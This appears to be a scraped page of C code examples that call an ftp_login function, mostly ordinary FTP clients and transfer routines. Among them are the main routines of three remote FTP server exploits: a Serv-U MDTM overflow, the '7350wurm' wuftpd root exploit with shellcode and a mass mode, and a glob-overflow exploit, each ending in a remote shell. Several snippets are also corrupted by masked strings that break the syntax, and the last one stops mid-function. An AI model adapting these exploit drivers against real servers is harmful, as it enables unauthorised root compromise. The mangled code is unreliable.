Пример #1
0
void ftp_got_banner(struct connection *c, struct read_buffer *rb)
{
	int g = get_ftp_response(c, rb, 0);
	if (g == -1) { setcstate(c, S_FTP_ERROR); abort_connection(c); return; }
	if (!g) { read_from_socket(c, c->sock1, rb, ftp_got_banner); return; }
	if (g >= 400) { setcstate(c, S_FTP_UNAVAIL); retry_connection(c); return; }
	ftp_login(c);
}
Пример #2
0
int FTP_PutFile_Ext(char *tftpserver, int port, char *username, char *password, char *localfile, char *localfiledata, unsigned long datasize, char *remotefile)
{
	int fd = -1;
	int ret = -1;
	struct hostent *host = 	NULL;
	ftp_host_info_t server;
	unsigned short port1 = 0;
	
	FILE *control_stream = NULL;
	
	// Add the code by lvjh, 2009-04-02
	g_ftp_socket = -1;
	
	if (tftpserver==NULL || username==NULL || password==NULL || remotefile==NULL || localfile==NULL)
	{
		return -1;
	}
	// Add the code by lvjh, 2010-06-02
	if (strlen(tftpserver)==0 || strlen(username)==0)
	{
		return -1;
	}
	if (port<=0 || port>65535)
	{
		port = 21;
	}

	host = gethostbyname(tftpserver);
	if (host == NULL)
	{
		return -1;
	}
	port1 = htons(port);
	
	strncpy(server.user, username, 32);
	strncpy(server.password, password, 32);
	server.s_in.sin_family = host->h_addrtype;
	server.s_in.sin_port = port1;
	memcpy(&server.s_in.sin_addr, (struct in_addr *) host->h_addr, sizeof(server.s_in.sin_addr));
	
	control_stream = ftp_login(&server);
	if (control_stream == NULL)
	{
		printf("ftp_login() Failed!\n");
		return -1;	
	}

	printf("Data Size: %d\n", datasize);

	ret = ftp_send_ext(&server, control_stream, localfile, localfiledata, datasize, remotefile);

	printf("FTP_PutFile_Ext ret = %d\n",ret);
	fclose(control_stream);
	close(g_ftp_socket);
	g_ftp_socket = -1;
	
	return ret;
}
Пример #3
0
int main(int argc, char* argv[])
{   
    struct sockaddr_in sv_adress;
    char command[256];
    char t[1], rdl[1024];
    int code;
    
    
    if(argc<5)
    {
        printf("Usage:%s [server_adress] [port] [username] [password]\n",argv[0]);
        return 1;
    }

    //Open socket
    sock_opd = socket(AF_INET, SOCK_STREAM , 0);
    if(sock_opd < 0){
        printf("Open socket error!\n");
        exit(0);
    }

    //Set server adress/PORT
    sv_adress.sin_family = AF_INET;
    sv_adress.sin_port = htons(atoi(argv[2]));
    if (inet_aton(argv[1], &sv_adress.sin_addr.s_addr) == 0 )
    {
        perror(argv[1]);
        exit(0);
    }

    //Connect to server
    if (connect(sock_opd, (struct sockaddr*)&sv_adress, sizeof(sv_adress)) != 0 )
    {
        perror("Connect ");
        exit(0);
    }

    code = ftp_login(sock_opd, argv[3], argv[4]);
    if(code == 230){
        while(1){
            Command *cmd = malloc(sizeof(Command));
            fflush(stdin);
            fgets(command, sizeof(command), stdin);
            clean_string(command);

            parse_command(command, cmd);
            
            code = execute_command(cmd, sock_opd);
        }
    }
    //Close socket
    close(sock_opd);

    return 0;
}
Пример #4
0
int main()
{
    /* content-length of the file */
    unsigned opt;
    const char *port = "ftp";
    ftp_host_info_t *server;
    /* socket to ftp server */
    FILE *control_stream;
    static FILE ctrl_stream;
    /* continue previous transfer (-c) */
    char caFtpHead[FTP_HEAD_SIZE];
    int nFileSize;
    int rd = 0;
    int nFdData;
    int nSave;
    char *pcRam;

    //FILE* ftp_get_head(const char *host, int port, const char *user, const char *password, char *server_path,
    //          char caFtpHead[FTP_HEAD_SIZE], int *pnHeadSize, int *pnFdData, FILE *ctrl_stream, int *pnFileSize)
    control_stream = ftp_get_head("192.168.1.170", 21, "sun", "123456", "sip11.cfg",
                                  caFtpHead, &rd, &nFdData, &ctrl_stream, &nFileSize);
    caFtpHead[rd - 1] = '\0';
    printf("-------rd=%d===nFileSize=%d===\n", rd, nFileSize);
    printf("-------------------------n %s n------------------------\n", caFtpHead);

    //nSave = ftp_recv_to_file(nFdData, control_stream, caFtpHead, rd, "test.cfg");
    pcRam = (char *)calloc(sizeof(char), nFileSize);
    if (NULL == pcRam) {
        perror("calloc error\n");
        exit(-1);
    }

    nSave = ftp_recv_to_ram(nFdData, control_stream, caFtpHead, rd, pcRam);
    printf("nSave =%d \n", nSave);
    pcRam[200] = '\0';
    printf("-------------------------n %s n------------------------\n", pcRam + 130000);
    return 0;


    /* Set default values */
    server = xmalloc(sizeof(*server));
    server->user = "******";
    server->password = "******";

    /* We want to do exactly _one_ DNS lookup, since some sites (i.e. ftp.us.debian.org) use round-robin DNS
     * and we want to connect to only one IP... */
    server->lsa = str2sockaddr("192.168.1.151", 21, DIE_ON_ERROR);
    printf("BUFSIZ=%d  off_t = %d\n", BUFSIZ, (int)((off_t) - 1));

    /* Connect/Setup/Configure the FTP session */
    control_stream = ftp_login(server);
    ftp_receive(server, control_stream, "ram.bin", "ram_zimage.bin");
    return 0;
}
Пример #5
0
/* handle TCP connection */
void ftp_mkcon(ftp_t *ftp) {
	/* Make the connection */
	ftp->FD = tcp_connect(ftp->server, ftp->port);
	if ( !ftp->FD) 
		die("Connection failed.");
	ftp_banner(ftp);
	ftp_login(ftp);

	/* Check if logged IN and not scanning */
	if ( ftp->logged != 1 && flag != 99 ) {
		die("%sNo logged in%s, try to reconnect.", RED,END);
	}
}
Пример #6
0
int main()
{
  static char cmd [20];
  static char banner [] = "220-RU-Zilla FTP server version 0.1 beta\n"
                          "220-written by some drunk\n"
                          "220 only cool files and flags allowed\n";

  write(STDOUT_FILENO, banner, strlen(banner));
  if(!ftp_login())
  {
    exit(0);
  }

  write(STDOUT_FILENO, "cmd:", strlen("cmd:"));
  while(read(STDIN_FILENO, cmd, 20))
  {
    if (!memcmp(cmd, "put", strlen("put")))
    {
      ftp_upload_file();
      write(STDOUT_FILENO, "cmd:", strlen("cmd:"));
      continue;
    }
    if (!memcmp(cmd, "get", strlen("get")))
    {
      ftp_download_file();
      write(STDOUT_FILENO, "cmd:", strlen("cmd:"));
      continue;
    }

    if (!memcmp(cmd, "quit", strlen("quit")))
    {
      ftp_quit();
    }


    if (!memcmp(cmd, "binary", strlen("binary")))
    {
      ftp_set_binary();
      write(STDOUT_FILENO, "cmd:", strlen("cmd:"));
      continue;
    }

    write(STDOUT_FILENO, "unrecognized command\n", strlen("unrecognized command\n"));
    write(STDOUT_FILENO, "cmd:", strlen("cmd:"));
  }
  return 0;
}
Пример #7
0
int FTP_PutFile(char *tftpserver, int port, char *username, char *password, char *localfile, char *remotefile)
{
	int fd = -1;
	int ret = -1;
	struct hostent *host = 	NULL;
	ftp_host_info_t server;
	unsigned short port1 = 0;
	
	FILE *control_stream = NULL;
	
	if (tftpserver==NULL || username==NULL || password==NULL || remotefile==NULL || localfile==NULL)
	{
		return -1;
	}
	if (port<=0 || port>65535)
	{
		port = 21;
	}

	host = gethostbyname(tftpserver);
	if (host == NULL)
	{
		return -1;
	}
	port1 = htons(port);
	
	strncpy(server.user, username, 32);
	strncpy(server.password, password, 32);
	server.s_in.sin_family = host->h_addrtype;
	server.s_in.sin_port = port1;
	memcpy(&server.s_in.sin_addr, (struct in_addr *) host->h_addr, sizeof(server.s_in.sin_addr));
	
	control_stream = ftp_login(&server);
	if (control_stream == NULL)
	{
		printf("ftp_login() Failed!\n");
		return -1;	
	}

	ret = ftp_send(&server, control_stream, localfile, remotefile);
	
	return ret;
}
Пример #8
0
int ftp_reopen(void)
{
    if(ftp && ftp->url) {
        url_t *u = url_clone(ftp->url);
        int r;

        url_setdirectory(u, ftp->curdir);

        r = ftp_open_url(u, false);
        if(r == 0) {
            r = ftp_login(u->username, gvAnonPasswd);
        } else
            ftp_close();
        url_destroy(u);
        return r;
    }

    return -1;
}
Пример #9
0
int connect_to_remote_host(int host)
{
	if (isconnected) {
		return (0);
	}

	message(CONNECT, config.host_name[host], 0, host);

	if (config.host_name[host] == NULL) {
		fprintf(stderr, _("The host name is not configured.\n"));
		return (-1);
	}

	if (config.access_method[host] == FTP) {
		if (ftp_connect(host) == -1 || ftp_login(host) == -1) {
			return (-1);
		}
	}
	isconnected = TRUE;
	return (0);
}
Пример #10
0
FILE *ftp_get_head(const char *host, int port, const char *user, const char *password, char *server_path,
                   char caFtpHead[FTP_HEAD_SIZE], int *pnHeadSize, int *pnFdData, FILE *ctrl_stream, int *pnFileSize)
{
    printf("ftp_get_head++++++++++++++++++++++\n");
    ftp_host_info_t server;
    FILE *control_stream;
    char caPort[10];
    
    
    server.user = user;
    server.password = password;
    server.lsa = str2sockaddr(host, port, DIE_ON_ERROR);
    printf("ftp_get_head===1111111111111=======\n");
    
    control_stream = ftp_login(&server);
    printf("ftp_get_head====2222222222222======\n");
    memcpy(ctrl_stream, control_stream, sizeof(FILE));
    *pnHeadSize = ftp_receive_head(control_stream, pnFdData, pnFileSize, &server, server_path, caFtpHead);
    printf("ftp_get_head====3333333333======\n");
    
    return control_stream;
}
Пример #11
0
int ftp_put(st_ftp *s)
{
	int ret,error;
	char src_file[512],dst_file[512],send_buff[512],put_cmd[512];
	struct stat file_info;
	int local_file;
	int file_put_sock,new_sock,count=0,i=0;
	int set=sizeof(local_host);
	
	memset(src_file,0,sizeof(src_file));
	memset(dst_file,0,sizeof(dst_file));	
	memset(send_buff,0,sizeof(send_buff));
	memset(put_cmd,0,sizeof(put_cmd));
	sprintf(put_cmd,"put %s",s->putFileName);
	
	if((ret = ftp_login(s->ip, s->port, s->user, s->password)) == -1) // 登录ftp
	{
		printf("Password error!\n");
		return -1;
	}
	else if(ret == -2)
	{
		printf("User error!\n");
		return -1;
	}
	
	if(local_cd(s->localDir) != 0) // 切换到本地目录
	{
		printf("local cd error !\n");		
		return -1;
	}

	if(ftp_cd(s->ftpDir) != 0)// 改变ftp服务器的目录
	{
		printf("ftp cd error !\n");		
		return -1;
	}
	
	ftp_cmd_filename(put_cmd,src_file,dst_file);// ftp操作命令
	if((stat(src_file,&file_info))<0) // 获取文件信息
	{
		printf("local file %s doesn't exist!\n",src_file);
		close(sock_control);
		return -1;
	}
	local_file=open(src_file,O_RDONLY);
	if(local_file<0)
	{		
		printf("Open file error\n");
		close(sock_control);
		return -2;
	}
	file_put_sock=ftp_connect_data();
	if(file_put_sock<0)
	{
		ftp_get_reply(sock_control);
		printf("Creat data socket error!\n");		
		close(local_file);
		close(sock_control);
		return -3;
	}	
	ftp_send_cmd("TYPE I",NULL,sock_control);/* 数据类型(A=ASCII,E=EBCDIC,I=binary) */
	error = ftp_get_reply(sock_control);
	printf("ftp reply number:<%d>, fun<%s> line<%d>\n",error,__FUNCTION__,__LINE__);	
	if(error != 200)
	{
		printf("commond :<TYPE I> error!,line<%d>\n",__LINE__);
		return -1;
	}
	
	ftp_send_cmd("STOR ",dst_file,sock_control);/* 储存(复制)文件到服务器上  */
	error = ftp_get_reply(sock_control);
	printf("ftp reply number:<%d>, fun<%s> line<%d>\n",error,__FUNCTION__,__LINE__);	
	if(error != 150)
	{
		printf("commond :<STOR> error!,line<%d>\n",__LINE__);
		return -1;		
	}

	printf("put file begin,please wait ...\n");
	while(1)
	{
		count=read(local_file,send_buff,sizeof(send_buff));
		if(count<=0)
		{
			break;
		}
		else
		{
			if((write(file_put_sock,send_buff,count)) == -1)
			{
				printf("write err!\n");
				break;
			}
		}
	}	
	printf("put file succ!\n");
	close(local_file);
	close(file_put_sock);
	ftp_get_reply(sock_control);	
	ftp_quit();
	return 0;
}
Пример #12
0
int main (int c, char *v[])
{
        int             ch, fd, sd;
        char     *hostName = NULL, *userName = "******", *passWord = "******";
        shellport  = port;
        

        fprintf (stderr, "Serv-U FTPD 3.x/4.x/5.x MDTM Command remote overflow exploit "VER"\n"
                "bug find by bkbll ([email protected]) code by Sam ([email protected])\n\n");

        if (c < 2) {
                showHELP (v[0]);
                exit (1);
        }

        while((ch = getopt(c, v, "h:t:u:p:P:c:d:")) != EOF) {
                switch(ch) {
                        case 'h':
                                hostName = optarg;
                                break;
                        case 't':
                                x = atoi (optarg);
                                if (x > MAX_NUM) {
                                        printf ("[-] wtf your input?\n");
                                        exit (-1);
                                }
                                break;
                        case 'u':
                                userName = optarg;
                                break;
                        case 'p':
                                passWord = optarg;
                                break;
                        case 'P':
                        	port = atoi (optarg);
                        	break;
                        case 'd':
                        	shellport = atoi (optarg);
                        	break;
                        default:
                                showHELP (v[0]);
                                return 0;
                }
        }


        fd = ftp_login (hostName, port, userName, passWord);
        if (fd <= 0) {
                printf ("[-] can't connnect\n");
                exit (-1);
        }

        do_overflow (fd);

	close (fd);
	 
        sleep (3);
       
        sd = new_tcpConnect (hostName, shellport, 3000);
        if (sd <= 0) {
                printf ("[-] failed\n");
                return -1;
        }

        fprintf (stderr, "[+] successed!!\n\n\n");
        sh (0, 1, sd);

        close (sd);

        return 0;
}
Пример #13
0
int
main (int argc, char *argv[])
{
        char                    c;
        char *                  progname;       /* = argv[0] */
        int                     fd;

        tgt_type *              tgt = NULL;
        int                     tgt_num = -1;

        unsigned char           xpbuf[512 + 16];


        fprintf (stderr, "7350wurm - x86/linux wuftpd <= 2.6.1 remote root "
                "(version "VERSION")\n"
                "team teso (thx bnuts, tomas, synnergy.net !).\n\n");

        progname = argv[0];
        if (argc < 2)
                usage (progname);


        while ((c = getopt (argc, argv, "hvaDmt:u:p:d:L:A:")) != EOF) {
                switch (c) {
                case 'h':
                        usage (progname);
                        break;
                case 'a':
                        automode = 1;
                        break;
                case 'D':
                        debugmode = 1;
                        break;
                case 'v':
                        verbose += 1;
                        break;
                case 'm':
                        mass = 1;
                        break;
                case 't':
                        if (sscanf (optarg, "%u", &tgt_num) != 1)
                                usage (progname);
                        break;
                case 'u':
                        username = "******";
                        printf ("username = %s\n", optarg);
                        break;
                case 'p':
                        password = optarg;
                        break;
                case 'd':
                        dest = optarg;
                        break;
                case 'L':
                        if (sscanf (optarg, "0x%lx", &user_retloc) != 1)
                                usage (progname);
                        break;
                case 'A':
                        if (sscanf (optarg, "0x%lx", &user_retaddr) != 1)
                                usage (progname);
                        break;
                default:
                        usage (progname);
                        break;
                }
        }

        /* if both required offsets are given manually, then we dont have
         * to require a target selection. otherwise check whether the target
         * is within the list. if its not, then print a list of available
         * targets
         */
        if (user_retloc != 0 && user_retaddr != 0) {
                tgt = &tmanual;
        } else if (automode == 0 && (tgt_num == 0 ||
                tgt_num >= (sizeof (targets) / sizeof (tgt_type))))
        {
                if (tgt_num != 0)
                        printf ("WARNING: target out of list. list:\n\n");

                tgt_list ();

                exit (EXIT_SUCCESS);
        }
        if (tgt == NULL && automode == 0)
                tgt = &targets[tgt_num - 1];

        if (mass == 1) {
                if ((argc - optind) == 0)
                        usage (progname);

                mlen = sc_build_x86_lnx (mcode, sizeof (mcode),
                        x86_lnx_execve, &argv[optind]);

                if (mlen >= 0xff) {
                        fprintf (stderr, "created argv-code too long "
                                "(%d bytes)\n", mlen);

                        exit (EXIT_FAILURE);
                }

                fprintf (stderr, "# created %d byte execve shellcode\n", mlen);
        }

        printf ("# trying to log into %s with (%s/%s) ...", dest,
                username, password);
        fflush (stdout);

        fd = ftp_login (dest, username, password);
        if (fd <= 0) {
                fprintf (stderr, "\nfailed to connect (user/pass correct?)\n");
                exit (EXIT_FAILURE);
        }
        printf (" connected.\n");

        if (debugmode) {
                printf ("DEBUG: press enter\n");
                getchar ();
        }

        printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
                ftp_banner);

        if (tgt == NULL && automode) {
                tgt = tgt_frombanner (ftp_banner);
                if (tgt == NULL) {
                        printf ("# failed to jield target from banner, aborting\n");

                        exit (EXIT_FAILURE);
                }
                printf ("# successfully selected target from banner\n");
        }

        if (shellcode == NULL) {
                shellcode = tgt->shellcode;
                shellcode_len = tgt->shellcode_len;
        }

        if (verbose >= 2) {
                printf ("using %lu byte shellcode:\n", shellcode_len);

                hexdump ("shellcode", shellcode, shellcode_len);
        }

        if (user_retaddr != 0) {
                fprintf (stderr, "# overriding target retaddr with: 0x%08lx\n",
                        user_retaddr);
        }

        if (user_retloc != 0) {
                fprintf (stderr, "# overriding target retloc with: 0x%08lx\n",
                        user_retloc);

                tgt->retloc = user_retloc;
        }

        printf ("\n### TARGET: %s\n\n", tgt->desc);

        /* real stuff starts from here
         */
        printf ("# 1. filling memory gaps\n");
        xp_gapfill (fd, RNFR_NUM, RNFR_SIZE);

        exploit (fd, tgt);

        printf ("# 3. triggering free(globlist[1])\n");
        net_write (fd, "CWD ~{\n");

        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "sP");
        if (strncmp (xpbuf, "sP", 2) != 0) {
                fprintf (stderr, "exploitation FAILED !\noutput:\n%s\n",
                        xpbuf);

                exit (EXIT_FAILURE);
        }

        printf ("#\n# exploitation succeeded. sending real shellcode\n");

        if (mass == 1) {
                printf ("# mass mode, sending constructed argv code\n");

                write (fd, mcode, mlen);

                printf ("# send. sleeping 10 seconds\n");
                sleep (10);

                printf ("# success.\n");

                exit (EXIT_SUCCESS);
        }

        printf ("# sending setreuid/chroot/execve shellcode\n");
        net_write (fd, "%s", x86_lnx_shell);

        printf ("# spawning shell\n");
        printf ("##################################################"
                        "##########################\n");

        write (fd, INIT_CMD, strlen (INIT_CMD));
        shell (fd);

        exit (EXIT_SUCCESS);
}
Пример #14
0
void main(int argc, char *argv[])
{
	ifstream bcpInfile;		// local import file holding records to bcp to x_import table
	int	hndl;				// file handle
	char szXfrFile[128];	// holds name of delimited import file
	char szTmpFile[128];	// holds name of renamed delimited import file	
	char szXfrLocalFile[128]; // holds name of delimited import file with local dir prepended
	int	 intBcpCount;		// number of rows bcp'd

	// Open import log and import error log files
	if ( !OpenLogFiles() )
		return;

	if ( argc >= 7 )
		szSystem = argv[7];
	else 
		szSystem = "";

	// Check if user wants help or if incorrect args entered
	if ( !CheckArgs(argc, argv) )
		return;

	// Create transfer filenames
	wsprintf(szXfrFile, "%s_cags.xfr", argv[7] );
	wsprintf(szTmpFile, "%s_cags.yyy", argv[7] ); 

	// Connect to database and init db structures
	if ( !DBConnect(argv[1], argv[2], argv[3]) )
		return;

	//
	// Check if local wms_cags.xfr exists to BCP records into import table
	//
	wsprintf(szXfrLocalFile, "%s%s", "./transfer/", szXfrFile ); 
	if ( FileSize(szXfrLocalFile) > -1 )  // file exists
	{
		// Open local wms_cags.xfr 
		bcpInfile.open(szXfrLocalFile, ios::nocreate, filebuf::sh_none);
		if ( !bcpInfile.is_open() )
		{
			// Failed open so get out and retry on next run
			errfile << ERROR_PREFIX  << "failed to open bcp input file" << endl;
			return;
		}
		else
		{
			// Call bcp routines to move data from import file into x_import table
			// Note: If migrated to another RDBMS most changes will be to this function
			if ( (intBcpCount = BCPInRecords(bcpInfile, argv[7])) != -1 )
			{
				// Delete local import file now that its records are in import table
				bcpInfile.close();
				f_deletefile(szXfrLocalFile);
				logfile << INFO_PREFIX << "successfull BCP of " << intBcpCount
						<< " records into import table" << endl;
			}
			else
			{
				// Failed bcp so don't delete and get out to retry on next run
				bcpInfile.close();
				errfile << ERROR_PREFIX  << "failed BCP of import file to import table" << endl;
				return;
			}
		}
	}
	else
	{
		if ( FileSize(szXfrLocalFile) == -1 )
			logfile << WARNING_PREFIX << "no records to import from " << szXfrLocalFile << " this run" << endl;
		else
			errfile << ERROR_PREFIX << "error opening local import file " << szXfrLocalFile << endl;
	}

	//
	// Logon to ftp server to get remote wms_cags.xfr to be bcp'd next import run
	//
	hndl = ftp_login(argv[4], argv[5], argv[6], "");
	if ( hndl == -1 )
	{
		errfile << ERROR_PREFIX << "failed ftp_login" << endl;
		return;
	}

	// Set current remote transfer directory
	if ( ftp_cd(hndl, argv[8]) == -1 )
	{
		errfile << ERROR_PREFIX << "failed ftp_cd to " << argv[8] << endl;
		return;
	}

	// Check for no left over records from prior import and new records to import
	if ( !ftp_exist(hndl, szTmpFile) && ftp_exist(hndl, szXfrFile) )
	{
		// If so, then rename prior to ftp_get to prevent contention with remote site
		if ( ftp_rename(hndl, szXfrFile, szTmpFile) == -1 )
		{
			// ftp_rename failed so just log message and try again next invocation
			errfile << ERROR_PREFIX << "failed ftp_remame of " 
					<< szXfrFile << " to " << szTmpFile
					<< " will retry next run" << endl;
			return;
		}
	}

	// Check for either left over records or new records in tmp file to import	
	if ( ftp_exist(hndl, szTmpFile) )
	{
		// If so, then ftp them to local directory
		if ( ftp_get(hndl, szTmpFile, szXfrLocalFile) == -1 )
		{
			// ftp_get failed so do nothing here and retry next invovation
			errfile << ERROR_PREFIX << "failed ftp_get of " << szTmpFile 
					<< " will retry next run" << endl;
		}
		else
		{
			if ( ftp_delete(hndl, szTmpFile) == -1 )
			{
				// ftp_delete failed so delete local to prevent re-importing next invocation
				f_deletefile(szXfrLocalFile);
				errfile << ERROR_PREFIX << "failed ftp_delete of " << szTmpFile << endl;
			}
			else
			{
				// successfull FTP
				logfile << INFO_PREFIX << "successfull FTP from remote site to " 
						<< szXfrLocalFile << endl;
			}
		}
	}						
	else
			logfile << WARNING_PREFIX << "no records to ftp from remote site this run" << endl;

	// Close opened objects
	if ( !logfile.is_open() )
		logfile.close();
	if ( !errfile.is_open() )
		errfile.close();
	dbexit();		// close database connection
	ftp_quit(hndl); // close ftp connection
}
Пример #15
0
int ftpgetput_main(int argc, char **argv)
{
	/* content-length of the file */
	int option_index = -1;
	int opt;

	/* socket to ftp server */
	FILE *control_stream;

	/* continue a prev transfer (-c) */
	ftp_host_info_t *server;

	int (*ftp_action)(FILE *, const char *, const char *, char *) = NULL;

	struct option long_options[] = {
		{"username", 1, NULL, 'u'},
		{"password", 1, NULL, 'p'},
		{"port", 1, NULL, 'P'},
		{"continue", 1, NULL, 'c'},
		{"verbose", 0, NULL, 'v'},
		{0, 0, 0, 0}
	};

#ifdef CONFIG_FTPPUT
	if (bb_applet_name[3] == 'p') {
		ftp_action = ftp_send;
	} 
#endif
#ifdef CONFIG_FTPGET
	if (bb_applet_name[3] == 'g') {
		ftp_action = ftp_recieve;
	}
#endif

	/* Set default values */
	server = ftp_init();
	verbose_flag = 0;

	/* 
	 * Decipher the command line 
	 */
	while ((opt = getopt_long(argc, argv, "u:p:P:cv", long_options, &option_index)) != EOF) {
		switch(opt) {
		case 'c':
			do_continue = 1;
			break;
		case 'u':
			server->user = optarg;
			break;
		case 'p':
			server->password = optarg;
			break;
		case 'P':
			server->port = optarg;
			break;
		case 'v':
			verbose_flag = 1;
			break;
		default:
			bb_show_usage();
		}
	}

	/*
	 * Process the non-option command line arguments
	 */
	if (argc - optind != 3) {
		bb_show_usage();
	}

	/*  Connect/Setup/Configure the FTP session */
	server->host = argv[optind];
	control_stream = ftp_login(server);

	return(ftp_action(control_stream, argv[optind], argv[optind + 1], argv[optind + 2]));
}
Пример #16
0
int main(int argc, char **argv)
{
    int sock, c; 
    int port       = FTP_PORT;
    int debuglevel = 0;
    char *host     = NULL;
    char *username = NULL;
    char *password = NULL;
    
    struct arch *arch       = NULL;
    char *shellcode         = bsdcode;
    int target              = 0;
    int sleep_time          = 0;
    unsigned long code_addr = 0;
    char *homedir           = NULL;;
    
    /* grab command line parameters */
    while((c = getopt(argc, argv, "c:o:u:p:it:d:l:v:s:h")) != EOF)
    {
	switch(c)
	{
	case 'c':
	    host = Strdup(optarg);
	    break;

	case 'o':
	    port = atoi(optarg);
	    break;
	    
	case 'u':
	    username = Strdup(optarg);
	    break;
	    
	case 'p':
	    password = Strdup(optarg);
	    /* hide the password from ps */
	    memset(optarg, 'X', strlen(optarg));
	    break;

	case 'i':
	    password = getpass("Enter remote password: "******"list") == 0)
	    {
		list_targets();
		return EXIT_FAILURE;
	    }
	    
	    target = atoi(optarg);
	    arch = &(archlist[target]);
	    code_addr = ntohl(arch->code_addr);
	    shellcode = arch->shellcode;
	    break;

	case 'd':
	    homedir = Strdup(optarg);
	    break;

	case 'l':
	    code_addr = ntohl(strtoul(optarg, NULL, 0));
	    break;

	case 'v':
	    debuglevel = atoi(optarg);
	    break;

	case 's':
	    sleep_time = atoi(optarg);
	    break;

	default:
	    usage(argv[0]);
	    break;
	}
    }


    /* check for required options */
    if(host == NULL || username == NULL || password == NULL || code_addr == 0)
	usage(argv[0]);

    /* setup the debug level */
    switch(debuglevel)
    {
    case 1:
	debug_read = 1;
	debug_write = 0;
	break;

    case 2:
	debug_read = 1;
	debug_write = 1;
	break;
	
    default:
	debug_read = 0;
	debug_write = 0;
	break;
    }

    /* make sure the shellcode is good */
    if(!verify_shellcode(shellcode))
	return EXIT_FAILURE;
	
    /* initiate the tcp connection to the ftp server */
    if((sock = tcp_connect(host, port)) == -1)
    {
	fprintf(stderr, "[-] Connection to %s failed!\n", host);
	ftp_quit(sock);
	return EXIT_FAILURE;
    }

    if(arch == NULL)
	printf("[0] Connected to host %s.\n", host);
    else
	printf("[0] Connected to host %s\n\tusing type:\t%s.\n", 
	       host, arch->description);


    /* login */
    if(!ftp_login(sock, username, password))
    {
	fprintf(stderr, "[-] Login failed, aborting!\n");
	ftp_quit(sock);
	return EXIT_FAILURE;
    }

    /* hey, so im anal! */
    memset(password, 'X', strlen(password));
    memset(username, 'X', strlen(username));    

    printf("[1] Login succeeded.\n");

    if(sleep != 0)
	sleep(sleep_time);

    if(homedir == NULL)
    {
	/* get home directory */
	if((homedir = ftp_gethomedir(sock)) == NULL)
	{
	    fprintf(stderr, "[-] Couldn't retrieve home directory, aborting!\n");
	    ftp_quit(sock);
	    return EXIT_FAILURE;
	}
    }
	
    printf("[2] Home directory retrieved as \"%s\", %u bytes.\n", 
	   homedir, strlen(homedir));

    /* do the exploitation */
    if(!ftp_glob_exploit(sock, homedir, code_addr, shellcode))
    {
	fprintf(stderr, "[-] exploit failed, aborting!\n");
	ftp_quit(sock);
	return EXIT_FAILURE;
    }
    
      
    free(host);
    return EXIT_SUCCESS;
}
Пример #17
0
int main(int argc, char* argv[])
{
    if (argc != 2)
    {
        print_usage(argv[0]);
        return EXIT_FAILURE;
    }

    URL url;
    url_init(&url);
    int error = url_from_string(&url, argv[1]);
    if (error)
    {
        fprintf(stderr, "Could not sucessfully parse FTP url (error code: %d)\n", error);
        url_destroy(&url);
        return EXIT_FAILURE;
    }

    error = url_host_to_ip(&url);
    if (error)
    {
        fprintf(stderr, "Could not get an IPv4 IP address from hostname %s (error code: %d)\n", url.host, error);
        return EXIT_FAILURE;
    }

    FTP ftp;
    error = ftp_connect(&ftp, url.ip, url.port ? url.port : 21);
    if (error)
    {
        fprintf(stderr, "Could not connect to ftp at IP %s, port %d\n", url.ip, url.port ? url.port : 21);
        return EXIT_FAILURE;
    }

    const char* user = strlen(url.user) ? url.user : "******";
    const char* pass = strlen(url.password) ? url.password : "******";

    error = ftp_login(&ftp, user, pass);
    if (error)
    {
        fprintf(stderr, "Could not login with user %s and pass %s\n", user, pass);
        return EXIT_FAILURE;
    }

    char path[1024] = "";
    for (int i = 0; i < url.num_parts - 1; ++i) {
        strcat(path, url.parts[i]);
        strcat(path, "/");
    }

    if (path[0] != 0) {
        error = ftp_cwd(&ftp, path);
        if (error) {
            perror("ftp_cwd");
            return error;
        }
    }

    error = ftp_pasv(&ftp);
    if (error) {
        perror("ftp_pasv");
        return error;
    }

    const char* file_name = url.num_parts ? url.parts[url.num_parts - 1] : "";

    error = ftp_retr(&ftp, file_name);
    if (error) {
        perror("ftp_retr");
        return error;
    }

    error = ftp_download(&ftp, file_name);
    if (error) {
        perror("ftp_download");
        return error;
    }

    error = ftp_disconnect(&ftp);
    if (error) {
        perror("ftp_disconnect");
        return error;
    }

    url_destroy(&url);

    return EXIT_SUCCESS;
}
Пример #18
0
InputStream
openFTPStream(ParsedURL *pu, URLFile *uf)
{
    Str tmp;
    int status;
    char *user = NULL;
    char *pass = NULL;
    Str uname = NULL;
    Str pwd = NULL;
    int add_auth_cookie_flag = FALSE;
    char *realpathname = NULL;

    if (!pu->host)
        return NULL;

    if (pu->user == NULL && pu->pass == NULL) {
        if (find_auth_user_passwd(pu, NULL, &uname, &pwd, 0)) {
            if (uname)
                user = uname->ptr;
            if (pwd)
                pass = pwd->ptr;
        }
    }
    if (user)
        /* do nothing */ ;
    else if (pu->user)
        user = pu->user;
    else
        user = "******";

    if (current_ftp.host) {
        if (!strcmp(current_ftp.host, pu->host) &&
                current_ftp.port == pu->port && !strcmp(current_ftp.user, user)) {
            ftp_command(&current_ftp, "NOOP", NULL, &status);
            if (status != 200)
                ftp_close(&current_ftp);
            else
                goto ftp_read;
        }
        else
            ftp_quit(&current_ftp);
    }

    if (pass)
        /* do nothing */ ;
    else if (pu->pass)
        pass = pu->pass;
    else if (pu->user) {
        pwd = NULL;
        find_auth_user_passwd(pu, NULL, &uname, &pwd, 0);
        if (pwd == NULL) {
            if (fmInitialized) {
                term_raw();
                pwd = Strnew_charp(inputLine("Password: "******"Password: "******"Password: "******"anonymous");
#else
        tmp = Strnew_charp("anonymous");
#endif /* __MINGW32_VERSION */
        Strcat_char(tmp, '@');
        pass = tmp->ptr;
    }

    if (!current_ftp.host) {
        current_ftp.host = allocStr(pu->host, -1);
        current_ftp.port = pu->port;
        current_ftp.user = allocStr(user, -1);
        current_ftp.pass = allocStr(pass, -1);
        if (!ftp_login(&current_ftp))
            return NULL;
    }
    if (add_auth_cookie_flag)
        add_auth_user_passwd(pu, NULL, uname, pwd, 0);

ftp_read:
    ftp_command(&current_ftp, "TYPE", "I", &status);
    if (ftp_pasv(&current_ftp) < 0) {
        ftp_quit(&current_ftp);
        return NULL;
    }
    if (pu->file == NULL || *pu->file == '\0' ||
            pu->file[strlen(pu->file) - 1] == '/')
        goto ftp_dir;

    realpathname = file_unquote(pu->file);
    if (*realpathname == '/' && *(realpathname + 1) == '~')
        realpathname++;
    /* Get file */
    uf->modtime = ftp_modtime(&current_ftp, realpathname);
    ftp_command(&current_ftp, "RETR", realpathname, &status);
    if (status == 125 || status == 150)
        return newFileStream(current_ftp.data, (void (*)())closeFTPdata);

ftp_dir:
